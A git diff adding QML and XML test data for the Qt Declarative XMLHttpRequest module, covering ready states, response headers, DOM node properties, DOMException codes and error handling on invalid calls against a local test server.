diff --git a/tests/auto/declarative/qdeclarativexmlhttprequest/data/callbackException.qml b/tests/auto/declarative/qdeclarativexmlhttprequest/data/callbackException.qml
new file mode 100644
index 00000000..ec6902dc
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativexmlhttprequest/data/callbackException.qml
@@ -0,0 +1,25 @@
+import QtQuick 1.0
+
+QtObject {
+ id: obj
+ property string url
+ property string which
+ property bool threw: false
+
+ onWhichChanged: {
+ var x = new XMLHttpRequest;
+
+ x.onreadystatechange = function() {
+ if (x.readyState == which) {
+ obj.threw = true
+ throw(new Error("Exception from Callback"))
+ }
+ }
+
+ x.open("GET", url);
+ x.setRequestHeader("Test-header", "TestValue");
+ x.send();
+ }
+}
+
+
diff --git a/tests/auto/declarative/qdeclarativexmlhttprequest/data/cdata.qml b/tests/auto/declarative/qdeclarativexmlhttprequest/data/cdata.qml
new file mode 100644
index 00000000..be60664e
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativexmlhttprequest/data/cdata.qml
@@ -0,0 +1,133 @@
+import QtQuick 1.0
+
+QtObject {
+ property bool xmlTest: false
+ property bool dataOK: false
+
+ function checkCData(text, whitespacetext)
+ {
+ // This is essentially a copy of text.qml/checkText()
+
+ if (text == null)
+ return;
+
+ if (text.nodeName != "#cdata-section")
+ return;
+
+ if (text.nodeValue != "Hello world!")
+ return;
+
+ if (text.nodeType != 4)
+ return;
+
+ if (text.parentNode.nodeName != "item")
+ return;
+
+ if (text.childNodes.length != 0)
+ return;
+
+ if (text.firstChild != null)
+ return;
+
+ if (text.lastChild != null)
+ return;
+
+ if (text.previousSibling != null)
+ return;
+
+ if (text.nextSibling != null)
+ return;
+
+ if (text.attributes != null)
+ return;
+
+ if (text.wholeText != "Hello world!")
+ return;
+
+ if (text.data != "Hello world!")
+ return;
+
+ if (text.length != 12)
+ return;
+
+ if (text.isElementContentWhitespace != false)
+ return;
+
+ if (whitespacetext.nodeName != "#cdata-section")
+ return;
+
+ if (whitespacetext.nodeValue != " ")
+ return;
+
+ if (whitespacetext.nodeType != 4)
+ return;
+
+ if (whitespacetext.parentNode.nodeName != "item")
+ return;
+
+ if (whitespacetext.childNodes.length != 0)
+ return;
+
+ if (whitespacetext.firstChild != null)
+ return;
+
+ if (whitespacetext.lastChild != null)
+ return;
+
+ if (whitespacetext.previousSibling != null)
+ return;
+
+ if (whitespacetext.nextSibling != null)
+ return;
+
+ if (whitespacetext.attributes != null)
+ return;
+
+ if (whitespacetext.wholeText != " ")
+ return;
+
+ if (whitespacetext.data != " ")
+ return;
+
+ if (whitespacetext.length != 3)
+ return;
+
+ if (whitespacetext.isElementContentWhitespace != true)
+ return;
+
+
+ xmlTest = true;
+ }
+
+ function checkXML(document)
+ {
+ checkCData(document.documentElement.childNodes[0].childNodes[0],
+ document.documentElement.childNodes[1].childNodes[0]);
+
+ }
+
+ Component.onCompleted: {
+ var x = new XMLHttpRequest;
+
+ x.open("GET", "cdata.xml");
+
+ // Test to the end
+ x.onreadystatechange = function() {
+ if (x.readyState == XMLHttpRequest.DONE) {
+
+ dataOK = true;
+
+ if (x.responseXML != null)
+ checkXML(x.responseXML);
+
+ }
+ }
+
+ x.send()
+ }
+}
+
+
+
+
+
diff --git a/tests/auto/declarative/qdeclarativexmlhttprequest/data/cdata.xml b/tests/auto/declarative/qdeclarativexmlhttprequest/data/cdata.xml
new file mode 100644
index 00000000..061d37c0
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativexmlhttprequest/data/cdata.xml
@@ -0,0 +1,2 @@
+<root><item><![CDATA[Hello world!]]></item><item><![CDATA[ ]]></item></root>
+
diff --git a/tests/auto/declarative/qdeclarativexmlhttprequest/data/constructor.qml b/tests/auto/declarative/qdeclarativexmlhttprequest/data/constructor.qml
new file mode 100644
index 00000000..0050f919
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativexmlhttprequest/data/constructor.qml
@@ -0,0 +1,14 @@
+import QtQuick 1.0
+
+QtObject {
+ property bool calledAsConstructor
+ property bool calledAsFunction
+
+ Component.onCompleted: {
+ var x1 = new XMLHttpRequest;
+ var x2 = XMLHttpRequest();
+
+ calledAsConstructor = (x1 != null && x1 instanceof XMLHttpRequest);
+ calledAsFunction = (x2 == undefined);
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativexmlhttprequest/data/defaultState.qml b/tests/auto/declarative/qdeclarativexmlhttprequest/data/defaultState.qml
new file mode 100644
index 00000000..77b2b94e
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativexmlhttprequest/data/defaultState.qml
@@ -0,0 +1,30 @@
+import QtQuick 1.0
+
+QtObject {
+ property int readyState
+ property bool statusIsException: false
+ property bool statusTextIsException: false
+ property string responseText
+ property bool responseXMLIsNull
+
+ Component.onCompleted: {
+ var xhr = new XMLHttpRequest();
+
+ readyState = xhr.readyState;
+ try {
+ status = xhr.status;
+ } catch (error) {
+ if (error.code == DOMException.INVALID_STATE_ERR)
+ statusIsException = true;
+ }
+ try {
+ statusText = xhr.statusText;
+ } catch (error) {
+ if (error.code == DOMException.INVALID_STATE_ERR)
+ statusTextIsException = true;
+ }
+ responseText = xhr.responseText;
+ responseXMLIsNull = (xhr.responseXML == null);
+ }
+}
+
diff --git a/tests/auto/declarative/qdeclarativexmlhttprequest/data/document.qml b/tests/auto/declarative/qdeclarativexmlhttprequest/data/document.qml
new file mode 100644
index 00000000..faf3af0a
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativexmlhttprequest/data/document.qml
@@ -0,0 +1,56 @@
+import QtQuick 1.0
+
+QtObject {
+ property bool xmlTest: false
+ property bool dataOK: false
+
+ function checkXML(document)
+ {
+ if (document.xmlVersion != "1.0")
+ return;
+
+ if (document.xmlEncoding != "UTF-8")
+ return;
+
+ if (document.xmlStandalone != true)
+ return;
+
+ if (document.documentElement == null)
+ return;
+
+ if (document.nodeName != "#document")
+ return;
+
+ if (document.nodeValue != null)
+ return;
+
+ if (document.parentNode != null)
+ return;
+
+ // ### Test other node properties
+ // ### test encoding (what is a valid qt encoding?)
+ xmlTest = true;
+ }
+
+ Component.onCompleted: {
+ var x = new XMLHttpRequest;
+
+ x.open("GET", "document.xml");
+
+ // Test to the end
+ x.onreadystatechange = function() {
+ if (x.readyState == XMLHttpRequest.DONE) {
+
+ dataOK = true;
+
+ if (x.responseXML != null)
+ checkXML(x.responseXML);
+
+ }
+ }
+
+ x.send()
+ }
+}
+
+
diff --git a/tests/auto/declarative/qdeclarativexmlhttprequest/data/document.xml b/tests/auto/declarative/qdeclarativexmlhttprequest/data/document.xml
new file mode 100644
index 00000000..fb693ea1
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativexmlhttprequest/data/document.xml
@@ -0,0 +1,3 @@
+<?xml version="1.0" encoding="UTF-8" standalone='yes'?>
+<root>
+</root>
diff --git a/tests/auto/declarative/qdeclarativexmlhttprequest/data/domExceptionCodes.qml b/tests/auto/declarative/qdeclarativexmlhttprequest/data/domExceptionCodes.qml
new file mode 100644
index 00000000..0f32a64a
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativexmlhttprequest/data/domExceptionCodes.qml
@@ -0,0 +1,60 @@
+import QtQuick 1.0
+
+QtObject {
+ property int index_size_err: DOMException.INDEX_SIZE_ERR
+ property int domstring_size_err: DOMException.DOMSTRING_SIZE_ERR
+ property int hierarchy_request_err: DOMException.HIERARCHY_REQUEST_ERR
+ property int wrong_document_err: DOMException.WRONG_DOCUMENT_ERR
+ property int invalid_character_err: DOMException.INVALID_CHARACTER_ERR
+ property int no_data_allowed_err: DOMException.NO_DATA_ALLOWED_ERR
+ property int no_modification_allowed_err: DOMException.NO_MODIFICATION_ALLOWED_ERR
+ property int not_found_err: DOMException.NOT_FOUND_ERR
+ property int not_supported_err: DOMException.NOT_SUPPORTED_ERR
+ property int inuse_attribute_err: DOMException.INUSE_ATTRIBUTE_ERR
+ property int invalid_state_err: DOMException.INVALID_STATE_ERR
+ property int syntax_err: DOMException.SYNTAX_ERR
+ property int invalid_modification_err: DOMException.INVALID_MODIFICATION_ERR
+ property int namespace_err: DOMException.NAMESPACE_ERR
+ property int invalid_access_err: DOMException.INVALID_ACCESS_ERR
+ property int validation_err: DOMException.VALIDATION_ERR
+ property int type_mismatch_err: DOMException.TYPE_MISMATCH_ERR
+
+ Component.onCompleted: {
+ // Attempt to overwrite and delete values
+ DOMException.INDEX_SIZE_ERR = 44;
+ DOMException.DOMSTRING_SIZE_ERR = 44;
+ DOMException.HIERARCHY_REQUEST_ERR = 44;
+ DOMException.WRONG_DOCUMENT_ERR = 44;
+ DOMException.INVALID_CHARACTER_ERR = 44;
+ DOMException.NO_DATA_ALLOWED_ERR = 44;
+ DOMException.NO_MODIFICATION_ALLOWED_ERR = 44;
+ DOMException.NOT_FOUND_ERR = 44;
+ DOMException.NOT_SUPPORTED_ERR = 44;
+ DOMException.INUSE_ATTRIBUTE_ERR = 44;
+ DOMException.INVALID_STATE_ERR = 44;
+ DOMException.SYNTAX_ERR = 44;
+ DOMException.INVALID_MODIFICATION_ERR = 44;
+ DOMException.NAMESPACE_ERR = 44;
+ DOMException.INVALID_ACCESS_ERR = 44;
+ DOMException.VALIDATION_ERR = 44;
+ DOMException.TYPE_MISMATCH_ERR = 44;
+
+ delete DOMException.INDEX_SIZE_ERR;
+ delete DOMException.DOMSTRING_SIZE_ERR;
+ delete DOMException.HIERARCHY_REQUEST_ERR;
+ delete DOMException.WRONG_DOCUMENT_ERR;
+ delete DOMException.INVALID_CHARACTER_ERR;
+ delete DOMException.NO_DATA_ALLOWED_ERR;
+ delete DOMException.NO_MODIFICATION_ALLOWED_ERR;
+ delete DOMException.NOT_FOUND_ERR;
+ delete DOMException.NOT_SUPPORTED_ERR;
+ delete DOMException.INUSE_ATTRIBUTE_ERR;
+ delete DOMException.INVALID_STATE_ERR;
+ delete DOMException.SYNTAX_ERR;
+ delete DOMException.INVALID_MODIFICATION_ERR;
+ delete DOMException.NAMESPACE_ERR;
+ delete DOMException.INVALID_ACCESS_ERR;
+ delete DOMException.VALIDATION_ERR;
+ delete DOMException.TYPE_MISMATCH_ERR;
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativexmlhttprequest/data/element.qml b/tests/auto/declarative/qdeclarativexmlhttprequest/data/element.qml
new file mode 100644
index 00000000..daec9503
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativexmlhttprequest/data/element.qml
@@ -0,0 +1,145 @@
+import QtQuick 1.0
+
+QtObject {
+ property bool xmlTest: false
+ property bool dataOK: false
+
+ function checkElement(e, person, fruit)
+ {
+ if (e.tagName != "root")
+ return;
+
+ if (e.nodeName != "root")
+ return;
+
+ if (e.nodeValue != null)
+ return;
+
+ if (e.nodeType != 1)
+ return;
+
+ var childTagNames = [ "person", "fruit" ];
+
+ if (e.childNodes.length != childTagNames.length)
+ return;
+
+ for (var ii = 0; ii < childTagNames.length; ++ii) {
+ if (e.childNodes[ii].tagName != childTagNames[ii])
+ return;
+ }
+
+ if (e.childNodes[childTagNames.length + 1] != null)
+ return;
+
+ // Check writing fails
+ e.childNodes[0] = null;
+ if (e.childNodes[0] == null)
+ return;
+
+ e.childNodes[10] = 10;
+ if (e.childNodes[10] != null)
+ return;
+
+ if (e.firstChild.tagName != e.childNodes[0].tagName)
+ return;
+
+ if (e.lastChild.tagName != e.childNodes[1].tagName)
+ return;
+
+ if (e.previousSibling != null)
+ return;
+
+ if (e.nextSibling != null)
+ return;
+
+ if (e.attributes == null)
+ return;
+
+ if (e.attributes.length != 2)
+ return;
+
+ var attr1 = e.attributes["attr"];
+ if (attr1.nodeValue != "value")
+ return;
+
+ var attrIdx = e.attributes[0];
+ if (attrIdx.nodeValue != "value")
+ return;
+
+ var attr2 = e.attributes["attr2"];
+ if (attr2.nodeValue != "value2")
+ return;
+
+ var attr3 = e.attributes["attr3"];
+ if (attr3 != null)
+ return;
+
+ var attrIdx2 = e.attributes[11];
+ if (attrIdx2 != null)
+ return;
+
+ // Check writing fails
+ e.attributes[0] = null;
+ if (e.attributes[0] == null)
+ return;
+
+ e.attributes["attr"] = null;
+ if (e.attributes["attr"] == null)
+ return;
+
+ e.attributes["attr3"] = 10;
+ if (e.attributes["attr3"] != null)
+ return;
+
+ // Check person and fruit sub elements
+ if (person.parentNode.nodeName != "root")
+ return;
+
+ if (person.previousSibling != null)
+ return;
+
+ if (person.nextSibling.nodeName != "fruit")
+ return;
+
+ if (fruit.parentNode.nodeName != "root")
+ return;
+
+ if (fruit.previousSibling.nodeName != "person")
+ return;
+
+ if (fruit.nextSibling != null)
+ return;
+
+ xmlTest = true;
+ }
+
+ function checkXML(document)
+ {
+ checkElement(document.documentElement,
+ document.documentElement.childNodes[0],
+ document.documentElement.childNodes[1]);
+ }
+
+ Component.onCompleted: {
+ var x = new XMLHttpRequest;
+
+ x.open("GET", "element.xml");
+
+ // Test to the end
+ x.onreadystatechange = function() {
+ if (x.readyState == XMLHttpRequest.DONE) {
+
+ dataOK = true;
+
+ if (x.responseXML != null)
+ checkXML(x.responseXML);
+
+ }
+ }
+
+ x.send()
+ }
+}
+
+
+
diff --git a/tests/auto/declarative/qdeclarativexmlhttprequest/data/element.xml b/tests/auto/declarative/qdeclarativexmlhttprequest/data/element.xml
new file mode 100644
index 00000000..071ffae0
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativexmlhttprequest/data/element.xml
@@ -0,0 +1 @@
+<root attr="value" attr2="value2"><person /><fruit /></root>
diff --git a/tests/auto/declarative/qdeclarativexmlhttprequest/data/getAllResponseHeaders.qml b/tests/auto/declarative/qdeclarativexmlhttprequest/data/getAllResponseHeaders.qml
new file mode 100644
index 00000000..686e7e5c
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativexmlhttprequest/data/getAllResponseHeaders.qml
@@ -0,0 +1,66 @@
+import QtQuick 1.0
+
+QtObject {
+ property string url
+
+ property bool unsentException: false
+ property bool openedException: false
+
+ property bool readyState: false
+ property bool openedState: false
+
+ property bool headersReceivedState: false
+ property bool headersReceivedHeader: false
+
+ property bool doneState: false
+ property bool doneHeader: false
+
+ property bool dataOK: false
+
+ Component.onCompleted: {
+ var x = new XMLHttpRequest;
+
+ try {
+ x.getResponseHeader("Test-Header");
+ } catch (e) {
+ if (e.code == DOMException.INVALID_STATE_ERR)
+ unsentException = true;
+ }
+
+ if (x.readyState == XMLHttpRequest.UNSENT)
+ readyState = true;
+
+ x.open("GET", url);
+ x.setRequestHeader("Accept-Language", "en-US");
+
+ if (x.readyState == XMLHttpRequest.OPENED)
+ openedState = true;
+
+ try {
+ x.getResponseHeader("Test-Header");
+ } catch (e) {
+ if (e.code == DOMException.INVALID_STATE_ERR)
+ openedException = true;
+ }
+
+ var headers = "connection: close\r\ncontent-type: text/html; charset=UTF-8\r\ntest-header: TestValue\r\nmultitest-header: TestValue, SecondTestValue\r\ncontent-length: 11";
+
+ // Test to the end
+ x.onreadystatechange = function() {
+ if (x.readyState == XMLHttpRequest.HEADERS_RECEIVED) {
+ headersReceivedState = true;
+
+ headersReceivedHeader = (x.getAllResponseHeaders() == headers);
+ } else if (x.readyState == XMLHttpRequest.DONE) {
+ doneState = headersReceivedState && true;
+
+ doneHeader = (x.getAllResponseHeaders() == headers);
+ dataOK = (x.responseText == "QML Rocks!\n");
+ }
+ }
+
+ x.send()
+ }
+}
+
+
diff --git a/tests/auto/declarative/qdeclarativexmlhttprequest/data/getAllResponseHeaders_args.qml b/tests/auto/declarative/qdeclarativexmlhttprequest/data/getAllResponseHeaders_args.qml
new file mode 100644
index 00000000..e8b7b770
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativexmlhttprequest/data/getAllResponseHeaders_args.qml
@@ -0,0 +1,23 @@
+import QtQuick 1.0
+
+QtObject {
+ property bool exceptionThrown: false
+
+ Component.onCompleted: {
+ var x = new XMLHttpRequest;
+
+ x.open("GET", "testdocument.html");
+ x.send();
+
+ x.onreadystatechange = function() {
+ if (x.readyState == XMLHttpRequest.DONE) {
+ try {
+ x.getAllResponseHeaders("Test-header");
+ } catch (e) {
+ if (e.code == DOMException.SYNTAX_ERR)
+ exceptionThrown = true;
+ }
+ }
+ }
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativexmlhttprequest/data/getAllResponseHeaders_sent.qml b/tests/auto/declarative/qdeclarativexmlhttprequest/data/getAllResponseHeaders_sent.qml
new file mode 100644
index 00000000..1d4883ea
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativexmlhttprequest/data/getAllResponseHeaders_sent.qml
@@ -0,0 +1,20 @@
+import QtQuick 1.0
+
+QtObject {
+ property bool test: false
+
+ Component.onCompleted: {
+ var x = new XMLHttpRequest;
+
+ x.open("GET", "testdocument.html");
+ x.send();
+
+ try {
+ x.getAllResponseHeaders();
+ } catch (e) {
+ if (e.code == DOMException.INVALID_STATE_ERR)
+ test = true;
+ }
+ }
+}
+
diff --git a/tests/auto/declarative/qdeclarativexmlhttprequest/data/getAllResponseHeaders_unsent.qml b/tests/auto/declarative/qdeclarativexmlhttprequest/data/getAllResponseHeaders_unsent.qml
new file mode 100644
index 00000000..360286d3
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativexmlhttprequest/data/getAllResponseHeaders_unsent.qml
@@ -0,0 +1,16 @@
+import QtQuick 1.0
+
+QtObject {
+ property bool test: false
+
+ Component.onCompleted: {
+ var x = new XMLHttpRequest;
+
+ try {
+ x.getAllResponseHeaders();
+ } catch (e) {
+ if (e.code == DOMException.INVALID_STATE_ERR)
+ test = true;
+ }
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativexmlhttprequest/data/getResponseHeader.expect b/tests/auto/declarative/qdeclarativexmlhttprequest/data/getResponseHeader.expect
new file mode 100644
index 00000000..c6cad706
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativexmlhttprequest/data/getResponseHeader.expect
@@ -0,0 +1,7 @@
+GET /testdocument.html HTTP/1.1
+ACCEPT-LANGUAGE: en-US
+Connection: Keep-Alive
+Accept-Encoding: gzip
+User-Agent: Mozilla/5.0
+Host: 127.0.0.1:14445
+
diff --git a/tests/auto/declarative/qdeclarativexmlhttprequest/data/getResponseHeader.qml b/tests/auto/declarative/qdeclarativexmlhttprequest/data/getResponseHeader.qml
new file mode 100644
index 00000000..f37545e1
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativexmlhttprequest/data/getResponseHeader.qml
@@ -0,0 +1,76 @@
+import QtQuick 1.0
+
+QtObject {
+ property string url
+
+ property bool unsentException: false
+ property bool openedException: false
+
+ property bool readyState: false
+ property bool openedState: false
+
+ property bool headersReceivedState: false
+ property bool headersReceivedNullHeader: false
+ property bool headersReceivedValidHeader: false
+ property bool headersReceivedMultiValidHeader: false
+ property bool headersReceivedCookieHeader: false
+
+ property bool doneState: false
+ property bool doneNullHeader: false
+ property bool doneValidHeader: false
+ property bool doneMultiValidHeader: false
+ property bool doneCookieHeader: false
+
+ property bool dataOK: false
+
+ Component.onCompleted: {
+ var x = new XMLHttpRequest;
+
+ try {
+ x.getResponseHeader("Test-Header");
+ } catch (e) {
+ if (e.code == DOMException.INVALID_STATE_ERR)
+ unsentException = true;
+ }
+
+ if (x.readyState == XMLHttpRequest.UNSENT)
+ readyState = true;
+
+ x.open("GET", url);
+ x.setRequestHeader("Accept-Language", "en-US");
+
+ if (x.readyState == XMLHttpRequest.OPENED)
+ openedState = true;
+
+ try {
+ x.getResponseHeader("Test-Header");
+ } catch (e) {
+ if (e.code == DOMException.INVALID_STATE_ERR)
+ openedException = true;
+ }
+
+ // Test to the end
+ x.onreadystatechange = function() {
+ if (x.readyState == XMLHttpRequest.HEADERS_RECEIVED) {
+ headersReceivedState = true;
+
+ headersReceivedNullHeader = (x.getResponseHeader("Nonexistant-header") == "");
+ headersReceivedValidHeader = (x.getResponseHeader("Test-HEAder") == "TestValue");
+ headersReceivedMultiValidHeader = (x.getResponseHeader("MultiTest-HEAder") == "TestValue, SecondTestValue");
+ headersReceivedCookieHeader = (x.getResponseHeader("Set-Cookie") == "" && x.getResponseHeader("Set-Cookie2") == "");
+ } else if (x.readyState == XMLHttpRequest.DONE) {
+ doneState = headersReceivedState && true;
+
+ doneNullHeader = (x.getResponseHeader("Nonexistant-header") == "");
+ doneValidHeader = (x.getResponseHeader("Test-HEAder") == "TestValue");
+ doneMultiValidHeader = (x.getResponseHeader("MultiTest-HEAder") == "TestValue, SecondTestValue");
+ doneCookieHeader = (x.getResponseHeader("Set-Cookie") == "" && x.getResponseHeader("Set-Cookie2") == "");
+ dataOK = (x.responseText == "QML Rocks!\n");
+ }
+ }
+
+ x.send()
+ }
+}
+
+
diff --git a/tests/auto/declarative/qdeclarativexmlhttprequest/data/getResponseHeader.reply b/tests/auto/declarative/qdeclarativexmlhttprequest/data/getResponseHeader.reply
new file mode 100644
index 00000000..c4b4bb27
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativexmlhttprequest/data/getResponseHeader.reply
@@ -0,0 +1,8 @@
+HTTP/1.0 200 OK
+Connection: close
+Content-type: text/html; charset=UTF-8
+Test-Header: TestValue
+MultiTest-Header: TestValue
+MultiTest-Header: SecondTestValue
+Set-Cookie: mycook=Value
+Set-Cookie2: mycook=Value
diff --git a/tests/auto/declarative/qdeclarativexmlhttprequest/data/getResponseHeader_args.qml b/tests/auto/declarative/qdeclarativexmlhttprequest/data/getResponseHeader_args.qml
new file mode 100644
index 00000000..61ce9c6f
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativexmlhttprequest/data/getResponseHeader_args.qml
@@ -0,0 +1,23 @@
+import QtQuick 1.0
+
+QtObject {
+ property bool exceptionThrown: false
+
+ Component.onCompleted: {
+ var x = new XMLHttpRequest;
+
+ x.open("GET", "testdocument.html");
+ x.send();
+
+ x.onreadystatechange = function() {
+ if (x.readyState == XMLHttpRequest.DONE) {
+ try {
+ x.getResponseHeader();
+ } catch (e) {
+ if (e.code == DOMException.SYNTAX_ERR)
+ exceptionThrown = true;
+ }
+ }
+ }
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativexmlhttprequest/data/getResponseHeader_sent.qml b/tests/auto/declarative/qdeclarativexmlhttprequest/data/getResponseHeader_sent.qml
new file mode 100644
index 00000000..7cd91a2a
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativexmlhttprequest/data/getResponseHeader_sent.qml
@@ -0,0 +1,20 @@
+import QtQuick 1.0
+
+QtObject {
+ property bool test: false
+
+ Component.onCompleted: {
+ var x = new XMLHttpRequest;
+
+ x.open("GET", "testdocument.html");
+ x.send();
+
+ try {
+ x.getResponseHeader("Test-header");
+ } catch (e) {
+ if (e.code == DOMException.INVALID_STATE_ERR)
+ test = true;
+ }
+ }
+}
+
diff --git a/tests/auto/declarative/qdeclarativexmlhttprequest/data/getResponseHeader_unsent.qml b/tests/auto/declarative/qdeclarativexmlhttprequest/data/getResponseHeader_unsent.qml
new file mode 100644
index 00000000..983ea1b8
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativexmlhttprequest/data/getResponseHeader_unsent.qml
@@ -0,0 +1,16 @@
+import QtQuick 1.0
+
+QtObject {
+ property bool test: false
+
+ Component.onCompleted: {
+ var x = new XMLHttpRequest;
+
+ try {
+ x.getResponseHeader("Test-header");
+ } catch (e) {
+ if (e.code == DOMException.INVALID_STATE_ERR)
+ test = true;
+ }
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativexmlhttprequest/data/instanceStateValues.qml b/tests/auto/declarative/qdeclarativexmlhttprequest/data/instanceStateValues.qml
new file mode 100644
index 00000000..79e06d48
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativexmlhttprequest/data/instanceStateValues.qml
@@ -0,0 +1,33 @@
+import QtQuick 1.0
+
+QtObject {
+ property int unsent
+ property int opened
+ property int headers_received
+ property int loading
+ property int done
+
+ Component.onCompleted: {
+ // Attempt to overwrite and delete values
+ var x = new XMLHttpRequest();
+
+ x.UNSENT = 9;
+ x.OPENED = 9;
+ x.HEADERS_RECEIVED = 9;
+ x.LOADING = 9;
+ x.DONE = 9;
+
+ delete x.UNSENT;
+ delete x.OPENED;
+ delete x.HEADERS_RECEIVED;
+ delete x.LOADING;
+ delete x.DONE;
+
+ unsent = x.UNSENT
+ opened = x.OPENED
+ headers_received = x.HEADERS_RECEIVED
+ loading = x.LOADING
+ done = x.DONE
+ }
+}
+
diff --git a/tests/auto/declarative/qdeclarativexmlhttprequest/data/invalidMethodUsage.qml b/tests/auto/declarative/qdeclarativexmlhttprequest/data/invalidMethodUsage.qml
new file mode 100644
index 00000000..68f22f5f
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativexmlhttprequest/data/invalidMethodUsage.qml
@@ -0,0 +1,160 @@
+import QtQuick 1.0
+
+QtObject {
+ property bool onreadystatechange: false
+ property bool readyState: false
+ property bool status: false
+ property bool statusText: false
+ property bool responseText: false
+ property bool responseXML: false
+
+ property bool open: false
+ property bool setRequestHeader: false
+ property bool send: false
+ property bool abort: false
+ property bool getResponseHeader: false
+ property bool getAllResponseHeaders: false
+
+ Component.onCompleted: {
+ var o = 10;
+
+ try {
+ XMLHttpRequest.prototype.onreadystatechange
+ } catch (e) {
+ if (!(e instanceof ReferenceError))
+ return;
+
+ if (e.message != "Not an XMLHttpRequest object")
+ return;
+
+ onreadystatechange = true;
+ }
+ try {
+ XMLHttpRequest.prototype.readyState
+ } catch (e) {
+ if (!(e instanceof ReferenceError))
+ return;
+
+ if (e.message != "Not an XMLHttpRequest object")
+ return;
+
+ readyState = true;
+ }
+ try {
+ XMLHttpRequest.prototype.status
+ } catch (e) {
+ if (!(e instanceof ReferenceError))
+ return;
+
+ if (e.message != "Not an XMLHttpRequest object")
+ return;
+
+ status = true;
+ }
+ try {
+ XMLHttpRequest.prototype.statusText
+ } catch (e) {
+ if (!(e instanceof ReferenceError))
+ return;
+
+ if (e.message != "Not an XMLHttpRequest object")
+ return;
+
+ statusText = true;
+ }
+ try {
+ XMLHttpRequest.prototype.responseText
+ } catch (e) {
+ if (!(e instanceof ReferenceError))
+ return;
+
+ if (e.message != "Not an XMLHttpRequest object")
+ return;
+
+ responseText = true;
+ }
+ try {
+ XMLHttpRequest.prototype.responseXML
+ } catch (e) {
+ if (!(e instanceof ReferenceError))
+ return;
+
+ if (e.message != "Not an XMLHttpRequest object")
+ return;
+
+ responseXML = true;
+ }
+
+ try {
+ XMLHttpRequest.prototype.open.call(o);
+ } catch (e) {
+ if (!(e instanceof ReferenceError))
+ return;
+
+ if (e.message != "Not an XMLHttpRequest object")
+ return;
+
+ open = true;
+ }
+
+ try {
+ XMLHttpRequest.prototype.setRequestHeader.call(o);
+ } catch (e) {
+ if (!(e instanceof ReferenceError))
+ return;
+
+ if (e.message != "Not an XMLHttpRequest object")
+ return;
+
+ setRequestHeader = true;
+ }
+
+ try {
+ XMLHttpRequest.prototype.send.call(o);
+ } catch (e) {
+ if (!(e instanceof ReferenceError))
+ return;
+
+ if (e.message != "Not an XMLHttpRequest object")
+ return;
+
+ send = true;
+ }
+
+ try {
+ XMLHttpRequest.prototype.abort.call(o);
+ } catch (e) {
+ if (!(e instanceof ReferenceError))
+ return;
+
+ if (e.message != "Not an XMLHttpRequest object")
+ return;
+
+ abort = true;
+ }
+
+ try {
+ XMLHttpRequest.prototype.getResponseHeader.call(o);
+ } catch (e) {
+ if (!(e instanceof ReferenceError))
+ return;
+
+ if (e.message != "Not an XMLHttpRequest object")
+ return;
+
+ getResponseHeader = true;
+ }
+
+ try {
+ XMLHttpRequest.prototype.getAllResponseHeaders.call(o);
+ } catch (e) {
+ if (!(e instanceof ReferenceError))
+ return;
+
+ if (e.message != "Not an XMLHttpRequest object")
+ return;
+
+ getAllResponseHeaders = true;
+ }
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativexmlhttprequest/data/open.qml b/tests/auto/declarative/qdeclarativexmlhttprequest/data/open.qml
new file mode 100644
index 00000000..4bb5b1d6
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativexmlhttprequest/data/open.qml
@@ -0,0 +1,54 @@
+import QtQuick 1.0
+
+QtObject {
+ property string url
+
+ property bool readyState: false
+ property bool openedState: false
+
+ property bool status: false
+ property bool statusText: false
+ property bool responseText: false
+ property bool responseXML: false
+
+ property bool dataOK: false
+
+ Component.onCompleted: {
+ var x = new XMLHttpRequest;
+
+ if (x.readyState == XMLHttpRequest.UNSENT)
+ readyState = true;
+
+ x.open("GET", url);
+ x.setRequestHeader("Accept-Language","en-US");
+
+ if (x.readyState == XMLHttpRequest.OPENED)
+ openedState = true;
+
+ try {
+ var a = x.status;
+ } catch (error) {
+ if (error.code == DOMException.INVALID_STATE_ERR)
+ status = true;
+ }
+ try {
+ var a = x.statusText;
+ } catch (error) {
+ if (error.code == DOMException.INVALID_STATE_ERR)
+ statusText = true;
+ }
+ responseText = (x.responseText == "");
+ responseXML = (x.responseXML == null);
+
+ // Test to the end
+ x.onreadystatechange = function() {
+ if (x.readyState == XMLHttpRequest.DONE) {
+ dataOK = (x.responseText == "QML Rocks!\n");
+ }
+ }
+
+
+ x.send()
+ }
+}
+
diff --git a/tests/auto/declarative/qdeclarativexmlhttprequest/data/open_arg_count.1.qml b/tests/auto/declarative/qdeclarativexmlhttprequest/data/open_arg_count.1.qml
new file mode 100644
index 00000000..da6eb142
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativexmlhttprequest/data/open_arg_count.1.qml
@@ -0,0 +1,18 @@
+import QtQuick 1.0
+
+QtObject {
+ property bool exceptionThrown: false
+
+ Component.onCompleted: {
+ var x = new XMLHttpRequest;
+
+ try {
+ x.open("GET");
+ } catch (e) {
+ if (e.code == DOMException.SYNTAX_ERR)
+ exceptionThrown = true;
+ }
+ }
+}
+
+
